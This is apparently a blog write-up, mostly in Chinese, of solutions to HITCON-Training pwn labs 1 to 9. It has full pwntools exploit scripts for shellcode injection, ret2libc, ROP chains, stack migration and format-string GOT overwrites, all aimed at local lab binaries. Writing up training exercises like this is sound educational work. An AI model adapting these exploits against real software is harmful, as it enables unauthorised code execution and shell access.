Hitcon-Training lab1~lab9

lab1

方法1:逆向破解,因为题目给了.c文件,里面有key和cipher可以直接用

1
2
3
4
5
6
key = "Do_you_know_why_my_teammate_Orange_is_so_angry???"
cipher = [7, 59, 25, 2, 11, 16, 61, 30, 9, 8, 18, 45, 40, 89, 10, 0, 30, 22, 0, 4, 85, 22, 8, 31, 7, 1, 9, 0, 126, 28, 62, 10, 30, 11, 107, 4, 66, 60, 44, 91, 49, 85, 2, 30, 33, 16, 76, 30, 66]
flag = ""
for i in range(len(cipher)):
flag += chr(cipher[i]^ord(key[i]))
print flag

方法2:利用gdb动态调试,可以在已生成password且未输入magic的情况下获得password的值:

1
2
3
4
5
6
7
8
9
10
11
12
13
在0x80486e7处下断点,可以看到ebp - 0x80就是password存放的地方
► 0x80486e7 <get_flag+332> lea eax, [ebp - 0x80]
0x80486ea <get_flag+335> push eax
0x80486eb <get_flag+336> push dword ptr [ebp - 0x74]
0x80486ee <get_flag+339> call read@plt <0x8048410>
再运行到0x8048712处,可以查看 ebp - 0x80的值
pwndbg> x/wx ($ebp -0x80)
0xffffcd08: 0x4f77e43c
转成十进制,输入就能得到flag
pwndbg> c
Continuing.
1333257276
CTF{debugger_1s_so_p0werful_1n_dyn4m1c_4n4lySis!}[Inferior 1 (process 7593) exited normally]

方法3:
同样利用gdb调试,但是这次不用获取password的值而直接在if跳转前设置eip的值指向flag输出的for 循环即可

image.png

image.png

lab2

checksec 一波,只开了 canary

到IDA里看一波,程序逻辑很简单,就是让你输入一个shellcode然后执行它,但是这里需要注意orw_seccomp函数,里面有个prctl会限制部分syscall的调用,只能通过open ,read , write 到获得flag,不是很懂prctl的第一个参数的数值代表什么,就估且当做是第n个的代号吧,往下数到第22个

image.png

既然只能读写,那就不能用system(/bin/cat flag)去获取flag,这里我们需要自己写shellcode:

1
2
3
fp = open("flag",0)
read(fp,buf,0x30)
write(1,buf,0x30)

首先我们要查到open,read,write三个函数对应的系统调用号和参数应该调入的寄存器:linux syscall

image.png

接下来写shellcode:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
fp = open("flag",0)
push 0 0截断:这个0是必需的,这样才能截断字符串的读取
push 0x67616c66 "flag"
mov ebx,esp open的第一个参数 "flag"
xor ecx,ecx 将ecx清0,做为open的第二个参数
mov eax,0x5 open的系统调用号
int 0x80 中断,进入系统调用

read(fp,buf,0x30)
mov ebx,eax 系统调用结束 ,将返回值存入eax,(open的返回值为fp,而fp为read的第一个参数)将ebx赋值为fp,做为read的第一个参数
mov ecx,esp 将栈顶传给ecx做为read的第二个参数
mov edx,0x30 read的第三个参数0x30
xor eax,eax 清空eax
mov eax,0x3 read的系统调用号
int 0x80 中断,进入系统调用

write(1,buf,0x30)(因为write的第二个参数跟read的一样,所以这里可以不用再传一次)
mov ebx,1 write的第1个参数
mov edx,0x30 write的第三个参数
mov eax,0x4 write的系统调用号
int 0x80 中断,进入系统 调用

因为自己踩过坑,这里补充一下0截断,也就是在push “flag”之前 为什么要push 0
字符串在读取的时候总是以\x00作为结束标志,如果不先push 0,那么它会将后面的东西也当做字符串读取进来,这样会导致系统读到的文件名不是”flag”,而是”flag…..”后面还有东西,这样就会找不到flag,这里read的返回值就为-1。

image.png

image.png

这样,shellcode就写完了,exp如下 :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
from pwn import *
p = process('./orw.bin')
shellcode = '''
push 0
push 0x67616c66
mov ebx,esp
xor ecx,ecx
mov eax,0x5
int 0x80

mov ebx,eax
mov ecx,esp
mov edx,0x30
xor eax,eax
mov eax,0x3
int 0x80

mov ebx,1
mov edx,0x30
mov eax,0x4
int 0x80
'''
print asm(shellcode)
pause()
p.recvuntil(":")
gdb.attach(p,"b *0x08048582")
pause()
p.sendline(asm(shellcode))

pause()
p.interactive()

lab3

这一题很简单,第一次输入写进了bss段,第二次输入用gets函数,所以我们只需要在第一次输入的时候输入shellcode,第二次输入将返回地址覆盖成bss段的地址就行,需要注意的是,s的偏移并不是0x14,而是0x1c,如果 IDA 看不出来可以在gdb下信断点查看

image.png

exp:

1
2
3
4
5
6
7
8
9
10
11
from pwn import *
p = process('./ret2sc')
shellcode_addr = 0x0804A060
shellcode = asm(shellcraft.sh())
p.recvuntil(":")
p.sendline(shellcode)

p.recvuntil(":")
payload = "A" * 0x1c + p32(0) + p32(shellcode_addr)
p.sendline(payload)
p.interactive()

lab4

两次输入,第一次输入一个地址,然后程序打印出地址的内容,这可以想到将puts_got地址输入就可以拿到puts函数的真实,先checksec一波

image.png

一道简单的ret2libc,那么接下来思路很简单,第一次输入给puts_got地址,拿到puts函数的真实地址,再得到puts函数的libc地址就可以算出偏移,之后 就可以为所欲为的得到其它函数的真实地址了;先找一下库文件:

image.png

接下来解决两个小问题:
1、查找 字符串”\bin\sh”
2、爆出第二次输入的偏移
字符串的查找可以用pwntoolsbinsh_libc = libc.search('/bin/sh').next()
偏移的获得用cyclic 参数生成一串字符之后 ,在gdb中输入得到一个地址,再用cyclic -l 地址即可得到到ret的偏移:

image.png

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
# -*- coding: utf-8 -*-
from pwn import *
context.log_level = 'debug'
p = process('./ret2lib')
elf = ELF('./ret2lib')
libc = ELF('/lib/i386-linux-gnu/libc.so.6')
puts_got = elf.got['puts']
print str(puts_got) #134520860
pause()
p.sendline(str(puts_got))
p.recvuntil(": ")
puts_addr = int(p.recv(10),16)
print "puts_addr:" + hex(puts_addr)
puts_libc = libc.symbols['puts']
print "puts_libc:" + hex(puts_libc)
system_libc = libc.symbols['system']
print "system_libc:" + hex(system_libc)
binsh_libc = libc.search('/bin/sh').next() 查找 "/bin/sh" 的地址
print "binsh_libc:" + hex(binsh_libc)
offset = puts_addr - puts_libc #偏移
system_addr = offset + system_libc
binsh_addr = offset + binsh_libc
# main = 0x804857D
ret= 0xdeadbeef #返回地址随意

payload = "A" * 60
payload += p32(system_addr) + p32(ret) + p32(binsh_addr)
# payload += p32(system_addr) + 'b' * 4 + p32(binsh_addr)
# gdb.attach(p,"b *0x0804862F")
# pause()
p.sendline(payload)
p.interactive()

lab5

先checksec 一波

image.png

开启了NX保护,静态链接,溢出的空间也够构造rop链,一看就是return to syscall,但是没有发现system函数,也没有”/bin/sh”,这就需要我们自己写execve(“/bin/sh”)了
我的思路是这样:将”/bin/sh”构造在bss段作为execve的参数,然后进入系统调用execve;
那么我们先要找到一个可以写到内存的gadget:0x0807b301 : mov dword ptr [eax], edx ; ret,bss段的写入就跟之前的没什么两样,找到gadget:

1
2
3
0x080bae06 : pop eax ; ret
0x0806e82a : pop edx ; ret
0x0806e850 : pop edx ; pop ecx ; pop ebx ; ret

这里还需要找到 int 0x80

: int 0x80```系统中断调用
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
这里还需要查一下sys_execve函数的系统调用号和参数对应的寄存器:

![image.png](\images\hitcon-training\13.png)

接下来就开始构造rop了:
exp:
```python
# -*- coding: utf-8 -*-
from pwn import *
context.log_level = 'debug'
p = process('./simplerop')
elf = ELF('./simplerop')
bss = 0x080EAF80
binsh = "/bin/sh\x00"
mov_ineax = 0x0807b301
# mov_eax_ecx = 0x080a7a6a
pop_edx_ecx_ebx = 0x0806e850
pop_eax = 0x080bae06
pop_ebx = 0x080481c9
pop_edx = 0x0806e82a
int0x80 = 0x080493e1
payload = "A" * 32
#将"/bin/sh\x00"分两次写入bss段
payload += p32(pop_eax) + p32(bss)
payload += p32(pop_edx) + binsh[0:4]
payload += p32(mov_ineax)
payload += p32(pop_eax) + p32(bss + 4)
payload += p32(pop_edx) + binsh[4:8]
payload += p32(mov_ineax)
#构造 execve("/bin/sh\x00")函数并调用
payload += p32(pop_edx_ecx_ebx) + p32(0) + p32(0) + p32(bss)
payload += p32(pop_eax) + p32(0x0b)
#中断 ,进入系统调用
payload += p32(int0x80)
p.sendline(payload)
p.interactive()

lab6

从IDA我们可以看到,main函数只能调一次,那么就用不了ret2libc了,接下来算出溢出的空间只有20个字节(这里96是被我改过的,原题大小是0x40)

image.png

checksec:

image.png

溢出的空间是不够用来构造rop链的,那么就要用到栈迁移了,思路是:
先利用溢出执行一次read函数,把我们接下来要执行的rop链写到bss段去,利用leave将ebp跳转到bss段上去,让程序 当成栈去执行,从而达到栈迁移的目的
找到对应的gadget就可以开始写exp了
exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
#-*- coding:utf-8 -*-
from pwn import *
context.log_level = 'debug'
p = process('./migration')
elf = ELF('./migration')
# libc = ELF('/lib/i386-linux-gnu/libc.so.6')
libc = elf.libc
system_libc = libc.symbols['system']
print "system_libc :" + hex(system_libc)
puts_plt = elf.plt['puts']
print "puts_plt :" + hex(puts_plt)
puts_got = elf.got['puts']
print "puts_got :" + hex(puts_got)
puts_libc = libc.symbols['puts']
print "puts_libc :" + hex(puts_libc)
read_plt = elf.plt['read']
print "read_plt :" + hex(read_plt)
binsh = libc.search("/bin/sh").next()
print "binsh :" + hex(binsh)
leave_ret = 0x08048418
buf1 = elf.bss() + 0x500
buf2 = elf.bss() + 0x400
# pop_ebp = 0x0804856b
pop_ebx = 0x0804836d
#调用 read 函数往 buf1 写入"/bin/sh"(不明白的一点,为什么第一个参数是0,第一个参数不该是指向"/bin/sh"的一个指针吗?)
#read的第一个参数为0指的是标准输入流也就是键盘,在脚本里面的键盘就是payload,也就是下一个senndline(payload)就是读入的内容
payload = "A" * 40
payload += p32(buf1) + p32(read_plt) + p32(leave_ret) + p32(0) + p32(buf1) + p32(0x100)
p.recvuntil(" :\n")
# gdb.attach(p)
pause()
p.send(payload)
# pause()
#打印出puts的真实地址 ,然后继续调用 read 函数
payload = p32(buf2) + p32(puts_plt) + p32(pop_ebx) + p32(puts_got) + p32(read_plt) + p32(leave_ret) + p32(0) + p32(buf2) + p32(0x100)
p.send(payload)
# pause()
#接收打印的puts真实地址
puts_addr = u32(p.recv(4))
print "puts_addr :" + hex(puts_addr)
#算偏移
offset = puts_addr - puts_libc
system_addr = offset + system_libc
binsh_addr = offset + binsh
payload = p32(0) + p32(system_addr) + "bbbb" + p32(binsh_addr)
p.send(payload)
p.interactive()
# 0xf7df9ca0

这里盗来23R3F师傅的一张图来理解栈迁移的过程

image.png

lab7

先checksec一波,canary开了,不能愉快地栈溢出了

image.png

这道题的意思很清楚,password是一个随机数,只要在第二次输入的时候相等那就可以cat 到 flag ,那么我们需要在第二次输入之前就知道password的值,这里我自然而然地想到了用gdb下断查看 password 的值,这种做法虽然在本地可以但是一但远程了就没鸟用;这就用到了格式化字符串
首先,我们要泄漏出password的值 ,要先得到格式化字符串的地址在哪,输入一串东西"“AAAA-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p........

image.png

%p泄漏出了printf栈里面的东西,找到AAAA的位置,在第十个,也就是说,格式化字符串的栈的第十个位置,接下来我们就可以构造 [地址] + %10$s将password 泄漏出来,然后接下来就简单了。
exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
#-*- coding:utf-8 -*-
from pwn import *
p = process('./crack')
#输入"AAAA-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p...."可以爆出格化字符串的偏移为10
password = 0x804A048
# print p32(password)
# pause()
payload = p32(password) + "#" + "%10$s" + "#" #输入两个#用作标记
p.recvuntil("What your name ? ")
p.send(payload)
p.recvuntil("#") #当接收到第一个#时开始返回password的内容了,接收
r = p.recvuntil("#") #接收到 # 结束
# print r
print len(r)
pause()
print u32(r[:4]) #因为第二个#会被接收,所以要去掉
a = u32(r[:4])
# print str(a)
# pause()
p.recvuntil("Your password :")
p.send(str(a))
p.interactive()

lab8

拿到题目,先checksec一波

image.png

开了canary,跟栈溢出没关系了,放到IDA里很明显可以看到我们只需要修改magic的值为218或者0xFACEB00C就行了,再看这一句printf(&buf);很明显是格式化字符串了。
先测试格式化字符串的位置:
image.png

偏移为7,接下来修改magic为218

1
2
3
4
5
6
7
8
9
10
11
12
13
14
#-*- coding:utf-8 -*-
#偏移为7
from pwn import *
context.log_level = 'debug'
p = process('./craxme')

#改小
magic = 0x0804A038
payload = ""
payload += p32(magic) + "%0214c" + "%7$n" #218-4 = 214,前面有个地址4位,所以只需再填214个字符
payload2 = fmtstr_payload(7,{magic:218})
p.sendline(payload)
p.recv()
p.interactive()

修改magic为0xFACEB00C

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
#-*- coding:utf-8 -*-
#偏移为7
from pwn import *
context.log_level = 'debug'
p = process('./craxme')
magic = 0x0804A038
padding1 = 0x10c-16 #因为0c-16<0所以要在前面加一位(这个加了一位1),这样才能将0c读进去
padding2 = 0x1b0 - 0x10c
padding3 = 0x1ce - 0x1b0
padding4 = 0x1fa - 0x1ce
print padding1
print padding2
print padding3
print padding4
pause()

payload = ""
payload += p32(magic) + p32(magic+1) + p32(magic+2) + p32(magic+3)
# payload += padding1*'a' + "%7$n" + padding2*'b' + "%8$n" + padding3*'c' + "%9$n" + padding4*'d' + "%10$n"
payload += "%252c%7$hhn" #padding1 252+16 = 10c(以下同理)
payload += "%164c%8$hhn" #padding2
payload += "%30c%9$hhn" #padding3
payload += "%44c%10$hhn" #padding4
# payload2 = fmtstr_payload(7,{magic:0xFACEB00C}) #也可以直接调用fmtstr_payload这个函数
p.sendline(payload2)
# p.sendline(payload)
p.recv()
p.interactive()

搜索大佬的博客发现还有另外 两种做法:
1、修改puts的got表为system("cat /home/craxme/flag");的地址,这样到执行puts("You need be a phd");时就会直接执行system("cat /home/craxme/flag");
2、修改puts的got表为read(0, &buf, 0x100u);把printf 的got表改为system的plt表地址,这样就能拿到shell了(我只能说骚啊)
1、修改puts的got表为system("cat /home/craxme/flag");的地址

1
2
3
4
5
6
7
8
9
10
11
12
13
#-*-coding:utf-8-*-
from pwn import *
p = process('./craxme')
elf = ELF('./craxme')
#将put_got修改为read(0,&buf,0x100)
#将printf修改为system
puts_got = elf.got['puts']
system_catflag = 0x80485F3
#read(0,&buf,0x100)
read = 0x80485A1
payload = fmtstr_payload(7,{puts_got:system_catflag})
p.sendline(payload)
p.interactive()

2、get shell

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
#-*-coding:utf-8-*-
from pwn import *
p = process('./craxme')
elf = ELF('./craxme')
#将put_got修改为read(0,&buf,0x100)
#将printf修改为system
puts_got = elf.got['puts']
printf_got = elf.got['printf']
system_plt = elf.plt['system']
#read(0,&buf,0x100)
read = 0x80485A1
payload = fmtstr_payload(7,{puts_got:read,printf_got:system_plt})
p.sendline(payload)
p.sendline('/bin/sh\x00') #这一句可加可不加我也不清楚 为什么
p.interactive()

lab9

格式化字符串漏洞,不过是有点蛇皮的格式化字符串,学到了不少新姿势

image.png

很明显的格式化字符串,但同时也可以发现,我们的输入是写到bss段去的,那就有一个问题了,我们要怎么利用格式化字符串修改got表为system函数的地址,因为这里我们要解决怎么把某个函数的got值放到栈里面去
先看一下栈中的情况

image.png

可以发现输入放在bss段且固定在esp,但是也发现了几个有用的地址ebp1,fmt7,ebp2,fmt11,他们的格式化字符的偏移分别为6,7,10,11,我们还发现了libc_start_main+247这个真实地址,先泄漏出这个真实地址就可以得到偏移,进而算出其它函数的地址

1
2
3
4
5
06:0018│ ebp  0xffffcd48 —▸ 0xffffcd58 —▸ 0xffffcd68 ◂— 0x0
07:001c│ 0xffffcd4c —▸ 0x8048584 (play+59) ◂— nop
、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、
0a:0028│ 0xffffcd58 —▸ 0xffffcd68 ◂— 0x0
0b:002c│ 0xffffcd5c —▸ 0x80485b1 (main+42) ◂— nop

我们可以看到ebp1是指向ebp2的指针,ebp2指向一个不知名的地址,这样我们就可以得到栈的地址,因此,如果我们使用%n对ebp1进行操作,那么实际上会修改ebp2的内容,所以,如果我们将ebp2修改为指向fmt7,那么就可以对ebp2进行%n操作来修改fmt7的内容,试想,把fmt7的内容修改为printf_got,这样就实现了把got值放到栈里面去了,接下来就可能通过偏移来进行修改,但是又有另一个问题,一次只能修改2个字节,而需要修改的有4 个字节,又因为我们本来就是利用 printf 函数实现修改的,所以只能一次性修改4个字节(如果修改的不是printf函数,因为有个while循环,可以回到再利用printf函数进行第二次修改)。所以我们可以把要修改的高2 个字节放到fmt11去,同时修改两个位置,这样就可以了,那么思路就出来了。

1
2
3
4
5
6
1、先泄漏出libc_start_main的地址,算出偏移
2、利用偏移得到system等函数的地址
3、泄漏出栈地址
4、利用ebp1指向ebp2的关系修改ebp2指向fmt7,进而修改fmt7为printf_got,修改ebp2指向fmt11,进而修改fmt11为printf_got+2
5、修改fmt7和fmt11内容为system的地址
6、发送'/bin/sh'做为system 的参数执行那可

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
#-*-coding:utf-8-*-
#libc_start_main+247在偏移15处
from pwn import *
context.log_level = 'debug'
p = process('./playfmt')
# /lib/i386-linux-gnu/libc-2.23.so
elf = ELF('./playfmt')
libc = elf.libc
p.recv()
#泄漏 libc_start_main 的地址
p.sendline('%15$p')
libc_start_main = int(p.recv(),16)-247
print 'libc_start_main-->' + hex(libc_start_main)
# libc_start_main 的libc地址
libc_start_main_libc = libc.symbols['__libc_start_main']
print 'libc_start_main_libc-->' + hex(libc_start_main_libc)
offset = libc_start_main - libc_start_main_libc
print 'offset-->' + hex(offset)
system_addr = offset + libc.symbols['system']
print 'system_addr-->' + hex(system_addr)
printf_addr = offset + libc.symbols['printf']
print 'printf_addr-->' + hex(printf_addr)
printf_got = elf.got['printf']
print 'printf_got-->' + hex(printf_got)
# one_gadget = 0x3ac5c + offset
# print 'one_gadget-->' + hex(one_gadget)
# 修改 printf_got 为 system_addr
# 泄漏 ebp
p.sendline('%6$p')
ebp2 = int(p.recv(),16) #10
ebp1 = ebp2-0x10 #6
fmt7 = ebp1+0x4
fmt11 = ebp2+0x4
print 'ebp1-->' + hex(ebp1)
print 'ebp2-->' + hex(ebp2)
print 'fmt7-->' + hex(fmt7)
print 'fmt11-->' + hex(fmt11)
pause()
# 先将 ebp2 指向fmt7
# gdb.attach(p,"b *0x0804853B")
p.sendline('%'+str(fmt7&0xffff)+'c%6$hn')
p.recv()
# 再将 fmt7 修改为print_got
p.sendline('%'+str(printf_got&0xffff)+'c%10$hn')
p.recv()

while True:
p.send("n0va")
sleep(0.1)
data = p.recv()
if data.find("n0va") != -1:
break
# 现在要将 fmt11 修改为print_got+2
# 先将 ebp2 指向fmt11
p.sendline('%'+str(fmt11&0xffff)+'c%6$hn')
p.recv()
#再将 fmt11 修改为printf_got+2(即printf_got的高4位现在在printf_got+2的低4位的位置)
p.sendline('%'+str((printf_got+2)&0xffff)+'c%10$hn')
p.recv()

while True:
p.send("n0va")
sleep(0.1)
data = p.recv()
if data.find("n0va") != -1:
break
'''
这个循环用于保证所有的字节都被输出,因为recv()一次最多只能接收0x1000
个字节,所以要进行多次recv()才能保证全部字节都输出以便进行下面的操作
需要注意的是,要构造一个字符串“n0va”来作标志,返回的大量字符串中如果
包含了这个字符串那么说明之前构造的%n写入已经完成
'''
# --------到这里fmt7放着printf_got(即printf_addr),fmt11放着printf_got+2(即printf_addr的高4位移到了低4位的位置)
# 修改printf_got 为sytem_addr (要同时修改fmt7为print_addr的低4位,fmt11为printf_addr的高4位)
# 修改printf_got 的低4位
payload = '%'+str((system_addr&0xffff)-12)+'c%7$hn' #在调试时发现,在'%...c'之前有3个'n0va'所以要-12才能保证正确定入
# 修改printf_got 的高4位
payload += '%'+str((system_addr>>16)-(system_addr&0xffff))+'c%11$hn'
gdb.attach(p,"b *0x0804853B")
p.sendline(payload)
p.recv()

while True:
p.send("n0va")
sleep(0.1)
data = p.recv()
if data.find("n0va") != -1:
break
p.sendline('/bin/sh')
p.interactive()

0%